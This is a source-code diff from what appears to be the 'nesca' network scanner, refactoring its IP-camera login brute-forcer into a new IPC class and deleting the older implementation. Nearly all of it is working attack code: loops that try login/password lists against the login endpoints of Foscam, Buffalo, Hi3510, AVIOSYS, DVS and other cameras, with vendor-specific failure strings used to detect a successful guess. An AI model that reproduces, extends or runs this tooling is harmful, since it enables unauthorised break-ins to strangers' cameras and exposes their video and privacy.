IPCamera auth refactoring

IPCAuth.cpp

@@ -0,0 +1,193 @@
+#include "IPCAuth.h"
+#include "BruteUtils.h"
+#include "FileUpdater.h"
+#include "Connector.h"
+#include "Utils.h"
+
+lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
+{
+    lopaStr lps;
+    bool result = true;
+    ZeroMemory(lps.login, sizeof(lps.login));
+    ZeroMemory(lps.pass, sizeof(lps.pass));
+    ZeroMemory(lps.other, sizeof(lps.other));
+    char login[128] = {0};
+    char pass[128] = {0};
+    char request[1024] = {0};
+    int passCounter = 1;
+
+    std::vector<char*> negVector;
+    if(strcmp(SPEC, "IPC") == 0)
+    {
+        negVector.push_back("<UserGroup>Invalid</UserGroup>");
+    }
+    else if(strcmp(SPEC, "GEO") == 0)
+    {
+        negVector.push_back("Access denied");
+        negVector.push_back("ErrNoSuchUsr.htm");
+    }
+    else if(strcmp(SPEC, "EasyCam") == 0)
+    {
+        negVector.push_back("Set-Cookie: usrLevel=-1;path=/");
+    }
+    else if(strcmp(SPEC, "Foscam") == 0)
+    {
+        negVector.push_back("<result>0</result>");
+        negVector.push_back("<result>-1</result>");
+        negVector.push_back("<result>-2</result>");
+        negVector.push_back("<result>-3</result>");
+        negVector.push_back("<result>-4</result>");
+        negVector.push_back("<result>-5</result>");
+        negVector.push_back("<result>-6</result>");
+        negVector.push_back("<result>-7</result>");
+    }
+    else if(strcmp(SPEC, "AVIOSYS") == 0)
+    {
+        negVector.push_back("Password Error");
+    }
+    else if(strcmp(SPEC, "BUFFALO") == 0)
+    {
+        negVector.push_back("403 Forbidden");
+    }
+    else if(strcmp(SPEC, "DVS") == 0)
+    {
+        negVector.push_back("Non-Existed");
+    }
+    else if(strcmp(SPEC, "IPCAM") == 0)
+    {
+        negVector.push_back("var check=\"0\"");
+        negVector.push_back("var authLevel =\"0\";");
+    }
+    else if(strcmp(SPEC, "IEORFOREFOX") == 0)
+    {
+        negVector.push_back("AAA()");
+        negVector.push_back("Имя или пароль неверные!");
+        negVector.push_back("Возврат");
+        negVector.push_back("HTTP/1.0 302 Found");
+        negVector.push_back("is incorrect");
+    }
+    else
+    {
+        stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!");
+
+        strcpy(lps.login, "UNKNOWN");
+        return lps;
+    };
+
+    for(int i = 0; i < MaxLogin; i++)
+    {
+        if(!globalScanFlag) break;
+        if(strcmp(loginLst[i], " ") == 0) continue;
+        ZeroMemory(login, sizeof(login));
+        strcpy(login, loginLst[i]);
+
+        for(int j = 0; j < MaxPass; j++)
+        {
+            FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;});
+            if(!globalScanFlag) break;
+            if(strcmp(passLst[j], " ") == 0) continue;
+
+            ZeroMemory(pass, sizeof(pass));
+            strcpy(pass, passLst[j]);
+
+            ZeroMemory(request, sizeof(request));
+            if(strcmp(SPEC, "IPC") == 0)
+            {
+                sprintf(request, "%s:%d/login.xml?user=%s&usr=%s&password=%s&pwd=%s",
+                        ip, port, login, login, pass, pass);
+            }
+            else if(strcmp(SPEC, "GEO") == 0)
+            {
+                sprintf(request, "%s:%d/Login.cgi?username=%s&password=%s",
+                        ip, port, login, pass);
+            }
+            else if(strcmp(SPEC, "EasyCam") == 0)
+            {
+                sprintf(request, "%s:%d/login.xml?user=%s&usr=%s&password=%s&pwd=%s",
+                        ip, port, login, login, pass, pass);
+            }
+            else if(strcmp(SPEC, "Foscam") == 0)
+            {
+                sprintf(request, "%s:%d/cgi-bin/CGIProxy.fcgi?usr=%s&pwd=%s&cmd=logIn&usrName=%s&pwd=%s",
+                        ip, port, login, pass, login, pass);
+            }
+            else if(strcmp(SPEC, "AVIOSYS") == 0)
+            {
+                sprintf(request, "%s:%d/check_user.html?UserName=%s&PassWord=%s",
+                        ip, port, login, pass);
+            }
+            else if(strcmp(SPEC, "IPCAM") == 0)
+            {
+                sprintf(request, "%s:%d/cgi-bin/hi3510/checkuser.cgi?&-name=%s&-passwd=%s&-time=1416767330831",
+                        ip, port, login, pass);
+            }
+            else if(strcmp(SPEC, "IEORFOREFOX") == 0)
+            {
+                doPost = true;
+                sprintf(request, "%s:%d/logincheck.rsp?type=1", ip, port);
+                sprintf(postData, "username=%s&userpwd=%s", login, pass);
+            }
+            else if(strcmp(SPEC, "BUFFALO") == 0)
+            {
+                doPost = true;
+                sprintf(request, "%s:%d/rpc/login", ip, port);
+                sprintf(postData, "user=%s&password=%s", login, pass);
+            }
+            else if(strcmp(SPEC, "DVS") == 0)
+            {
+                doPost = true;
+                sprintf(request, "%s:%d/login", ip, port);
+                sprintf(postData, "langs=en&user=%s&password=%s&submit=+Login+", login, pass);
+            }
+
+            std::string buffer;
+            if(doPost) {
+                if (Connector::nConnect(request, port, &buffer, postData) == -2) return lps;
+            } else {
+                if (Connector::nConnect(request, port, &buffer) == -2) return lps;
+            }
+
+            for(int i = 0; i < negVector.size(); ++i)
+            {
+                if(Utils::ci_find_substr(buffer, negVector[i]) != -1)
+                {
+                    result = false;
+                    break;
+                };
+            };
+
+            if(result)
+            {
+                strcpy(lps.login, loginLst[i]);
+                strcpy(lps.pass, passLst[j]);
+                return lps;
+            };
+
+            ++passCounter;
+
+            if (BALogSwitched) stt->doEmitionBAData("IPC: " + QString(ip) + ":" + QString::number(port) +
+                "; l/p: " + QString(login) + ":" + QString(pass) + ";	- Progress: (" +
+                QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
+
+            Sleep(100);
+        };
+    };
+
+    strcpy(lps.login, "UNKNOWN");
+    return lps;
+}
+
+lopaStr IPC::IPCLobby(const char *ip, int port, char *SPEC) {
+    if(gMaxBrutingThreads > 0) {
+        while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
+
+        BruteUtils::BConInc();
+        lopaStr lps = IPCBrute(ip, port, SPEC);
+        BruteUtils::BConDec();
+
+        return lps;
+    } else {
+        lopaStr lps;
+        return lps;
+    }
+}

IPCAuth.h

@@ -0,0 +1,22 @@
+#ifndef IPCAUTH_H
+#define IPCAUTH_H
+
+#include "mainResources.h"
+
+class IPC {
+private:
+    bool doPost;
+    char postData[1024];
+private:
+    lopaStr IPCBrute(const char *ip, int port, char *SPEC);
+
+public:
+    IPC() {
+        doPost = false;
+        ZeroMemory(postData, 1024);
+    }
+
+    lopaStr IPCLobby(const char *ip, int port, char *SPEC);
+};
+
+#endif // IPCAUTH_H

connector_old.cpp

@@ -1,290 +1 @@
-#include "STh.h"
+
-#include "externData.h"
-#include "BruteUtils.h"
-
-int recvWT( 
-	int Socket, 
-	char *Buffer, 
-	int Len, 
-	long Timeout, 
-	int *bTimedOut 
-	){ 
-		fd_set ReadSet; 
-		int n;
-		struct timeval Time; 
-
-		FD_ZERO(&ReadSet); 
-		FD_SET(Socket,&ReadSet); 
-		Time.tv_sec = Timeout; 
-		Time.tv_usec = 0; 
-        *bTimedOut = false;
-		n = select(Socket+1,&ReadSet,NULL,NULL,&Time); 
-		if (n > 0) { /* got some data */ 
-			return recv(Socket,Buffer,Len,0); 
-		} 
-		if (n == 0) { /* timeout */ 
-            *bTimedOut = true;
-		} 
-		return(n) ; /* trouble */ 
-}
-
-int _webLoginSeq(char *request, char *login, char *pass, const char *ip, int port, int passCounter, char *type, std::vector<char*> negVector)
-{
-	char recvBuff[256] = {0};
-	char recvBuff2[4096] = {0};
-
-	SOCKET sock;
-	sockaddr_in sockAddr;
-	int bTO; 
-	sockAddr.sin_family = AF_INET;  
-	sockAddr.sin_port = htons(port);
-	HOSTENT *host;  
-#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
-	if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip);  
-	else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];  
-    else return -1;
-#else
-	if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip);  
-    else if(host=gethostbyname(ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
-    else return -1;
-#endif
-	sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
-	int cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
-	int cErrCode = WSAGetLastError();
-
-    while(cErrCode == WSAENOTSOCK)
-	{
-		CSSOCKET(sock);
-		sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
-		cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
-		cErrCode = WSAGetLastError();
-        if(gDebugMode) stt->doEmitionDebugFoundData("[" + QString(type) + "][ENOTSOCK] [" + QString(ip) + ":" + QString::number(port) + "]");
-	};
-
-	if(cCode != SOCKET_ERROR) 
-    {
-		Activity += strlen(request);
-
-		if(send(sock, request, strlen(request), 0) == SOCKET_ERROR) 	
-		{
-			stt->doEmitionRedFoundData("[" + QString(type) + "] Send error! [" + QString(ip) + "]");
-			CSSOCKET(sock);
-			return 0;
-		}
-		else 
-		{
-			if(MapWidgetOpened) stt->doEmitionAddOutData(QString(request));
-			int x = 1;
-			int xx = 0;
-			ZeroMemory(recvBuff2, sizeof(recvBuff2));
-			while(xx < 3072)
-			{
-				ZeroMemory(recvBuff, sizeof(recvBuff));
-				x = recvWT(sock, recvBuff, sizeof(recvBuff), gTimeOut + 2, &bTO);
-				if(x <= 0) break;
-				strncat(recvBuff2, recvBuff, x);
-				xx += x;
-				Activity += x;
-			};
-
-			if(BALogSwitched) stt->doEmitionBAData("Checked " + QString(type) + ": " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(login) + ":" + QString(pass) + ";	- Progress: (" + QString::number((passCounter/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
-
-			if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff2));
-
-			if(strlen(recvBuff2) > 0) {
-				bool result = true;
-				for(int i = 0; i < negVector.size(); ++i)
-				{
-					if(strstri(recvBuff2, negVector[i]) != NULL)
-					{
-						result = false;
-						break;
-					};
-				};
-
-				if(result)
-				{
-					CSSOCKET(sock);
-					return 1;
-				};
-			}
-		};
-	};
-
-	CSSOCKET(sock);
-	return 0;
-}
-
-lopaStr _IPCameraBrute(const char *ip, int port, char *SPEC)
-{
-	lopaStr lps;
-	ZeroMemory(lps.login, sizeof(lps.login));
-	ZeroMemory(lps.pass, sizeof(lps.pass));
-	ZeroMemory(lps.other, sizeof(lps.other));
-	char login[128] = {0};
-	char pass[128] = {0};
-    char request[1024] = {0};
-	int passCounter = 1;
-
-	std::vector<char*> negVector;
-	if(strcmp(SPEC, "IPC") == 0)
-	{
-		negVector.push_back("<UserGroup>Invalid</UserGroup>");
-	}
-	else if(strcmp(SPEC, "GEO") == 0)
-	{
-		negVector.push_back("Access denied");
-		negVector.push_back("ErrNoSuchUsr.htm");
-	}
-	else if(strcmp(SPEC, "EasyCam") == 0)
-	{
-		negVector.push_back("Set-Cookie: usrLevel=-1;path=/");
-	}
-	else if(strcmp(SPEC, "Foscam") == 0)
-	{
-		negVector.push_back("<result>0</result>");
-		negVector.push_back("<result>-1</result>");
-		negVector.push_back("<result>-2</result>");
-		negVector.push_back("<result>-3</result>");
-		negVector.push_back("<result>-4</result>");
-		negVector.push_back("<result>-5</result>");
-		negVector.push_back("<result>-6</result>");
-		negVector.push_back("<result>-7</result>");
-	}
-	else if(strcmp(SPEC, "AVIOSYS") == 0)
-	{
-		negVector.push_back("Password Error");
-	}
-	else if(strcmp(SPEC, "BUFFALO") == 0)
-	{
-		negVector.push_back("403 Forbidden");
-	}
-	else if(strcmp(SPEC, "DVS") == 0)
-	{
-		negVector.push_back("Non-Existed");
-	}
-	else if(strcmp(SPEC, "IPCAM") == 0)
-	{
-		negVector.push_back("var check=\"0\"");
-		negVector.push_back("var authLevel =\"0\";");
-	}
-	else if(strcmp(SPEC, "IEORFOREFOX") == 0)
-	{
-		negVector.push_back("AAA()");
-		negVector.push_back("Имя или пароль неверные!");
-		negVector.push_back("Возврат");
-		negVector.push_back("HTTP/1.0 302 Found");
-		negVector.push_back("is incorrect");
-	}
-	else
-	{
-		stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!");
-
-		strcpy(lps.login, "UNKNOWN");
-		return lps;
-	};
-
-	for(int i = 0; i < MaxLogin; i++)
-	{
-        if(!globalScanFlag) break;
-		if(strcmp(loginLst[i], " ") == 0) continue;
-		ZeroMemory(login, sizeof(login));
-		strcpy(login, loginLst[i]);
-		for(int j = 0; j < MaxPass; j++)
-		{
-            if(!globalScanFlag) break;
-			if(strcmp(passLst[j], " ") == 0) continue;
-			
-			ZeroMemory(pass, sizeof(pass));
-			strcpy(pass, passLst[j]);
-
-			ZeroMemory(request, sizeof(request));
-			if(strcmp(SPEC, "IPC") == 0)
-			{
-                sprintf(request, "GET /login.xml?user=%s&usr=%s&password=%s&pwd=%s HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n",
-                        login, login, pass, pass, ip, port);
-            }
-			else if(strcmp(SPEC, "GEO") == 0)
-			{
-                sprintf(request, "GET /Login.cgi?username=%s&password=%s HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n",
-                        login, pass, ip, port);
-            }
-			else if(strcmp(SPEC, "EasyCam") == 0)
-			{
-                sprintf(request, "GET /login.xml?user=%s&usr=%s&password=%s&pwd=%s HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n",
-                        login, login, pass, pass, ip, port);
-            }
-			else if(strcmp(SPEC, "Foscam") == 0)
-			{
-                sprintf(request, "GET /cgi-bin/CGIProxy.fcgi?usr=%s&pwd=%s&cmd=logIn&usrName=%s&pwd=%s HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n",
-                        login, pass, login, pass, ip, port);
-            }
-			else if(strcmp(SPEC, "AVIOSYS") == 0)
-			{
-                sprintf(request, "GET /check_user.html?UserName=%s&PassWord=%s HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n",
-                        login, pass, ip, port);
-            }
-			else if(strcmp(SPEC, "BUFFALO") == 0)
-            {
-                int sz = strlen(login) + strlen(pass) + strlen("user=&password=");
-
-                sprintf(request, "POST /rpc/login HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive\r\nContent-Length: %d\r\n\r\nuser=%s&password=%s",
-                        ip, port, sz, login, pass);
-
-			}
-			else if(strcmp(SPEC, "DVS") == 0)
-            {
-                int sz = strlen(login) + strlen(pass) + strlen("langs=en&user=&password=&submit=+Login+");
-
-                sprintf(request, "POST /login HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive\r\nContent-Length: %d\r\n\r\nlangs=en&user=%s&password=%s&submit=+Login+",
-                        ip, port, sz, login, pass);
-			}
-			else if(strcmp(SPEC, "IPCAM") == 0)
-            {
-                sprintf(request, "GET /cgi-bin/hi3510/checkuser.cgi?&-name=%s&-passwd=%s&-time=1416767330831 HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n",
-                     login, pass, ip, port);
-			}
-			else if(strcmp(SPEC, "IEORFOREFOX") == 0)
-			{
-                int sz = strlen(login) + strlen(pass) + strlen("username=&userpwd=");
-
-                sprintf(request, "POST /logincheck.rsp?type=1 HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive\r\nContent-Length: %d\r\n\r\nusername=%s&userpwd=%s",
-                        ip, port, sz, login, pass);
-			};
-
-			int res = _webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector);
-
-			if(res == 1)
-            {
-                strcpy(lps.login, login);
-                strcpy(lps.pass, pass);
-				return lps;
-			}
-			else if(res == -1)
-            {
-				strcpy(lps.login, "UNKNOWN");
-				return lps;
-			};
-			++passCounter;
-		};
-    };
-
-	strcpy(lps.login, "UNKNOWN");
-	return lps;
-}
-
-lopaStr _IPCameraBLobby(const char *ip, int port, char *SPEC)
-{
-    if(gMaxBrutingThreads > 0) {
-        while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
-
-        BruteUtils::BConInc();
-        lopaStr lps = _IPCameraBrute(ip, port, SPEC);
-        BruteUtils::BConDec();
-
-        return lps;
-    } else {
-        lopaStr lps;
-        return lps;
-    }
-}

finder.cpp

@@ -9,6 +9,7 @@
 #include "SSHAuth.h"
 #include <memory>
 #include "FileUpdater.h"
+#include "IPCAuth.h"
 
 char* strstri(const char *_Str, const char *_SubStr)
 {
@@ -1169,7 +1170,8 @@ void _specWEBIPCAMBrute(const char *ip, int port, char *finalstr, int flag, char
     char tport[32] = {0};
     sprintf(tport, ":%d", port);
 
-    lps = _IPCameraBLobby(ip, port, SPEC);
+    IPC ipc;
+    lps = ipc.IPCLobby(ip, port, SPEC);
 
 	if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) 
 	{

mainResources.h

@@ -137,36 +137,4 @@ public:
         Lexems *lx);
 };
 
-
-class Connector_old
-{
-public:
-	int _Updater();
-
-	lopaStr _WFLobby(char *cookie,
-		char *ip,
-		int port,
-		char *methodVal,
-		char *actionVal,
-		char *userVal,
-		char *passVal,
-		char *formVal);
-
-	lopaStr _IPCameraBLobby(char *ip,
-		int port,
-		char *SPEC);
-
-	int _SSHLobby(char *ip,
-		int port,
-		std::string *buffer);
-
-	void _Connect(void *s);
-
-	int _ConnectToPort(char *ip,
-		int port,
-		char *hl);
-};
-
-
-extern lopaStr _IPCameraBLobby(const char *ip, int port, char *SPEC);
 extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage);

nesca.pro

@@ -43,7 +43,8 @@ SOURCES +=\
     Threader.cpp \
     SSHAuth.cpp \
     FileUpdater.cpp \
-    FileDownloader.cpp
+    FileDownloader.cpp \
+    IPCAuth.cpp
 
 
 HEADERS  += ActivityDrawerTh_HorNet.h \
@@ -73,7 +74,8 @@ HEADERS  += ActivityDrawerTh_HorNet.h \
     Threader.h \
     SSHAuth.h \
     FileUpdater.h \
-    FileDownloader.h
+    FileDownloader.h \
+    IPCAuth.h
 
 FORMS    += nesca_3.ui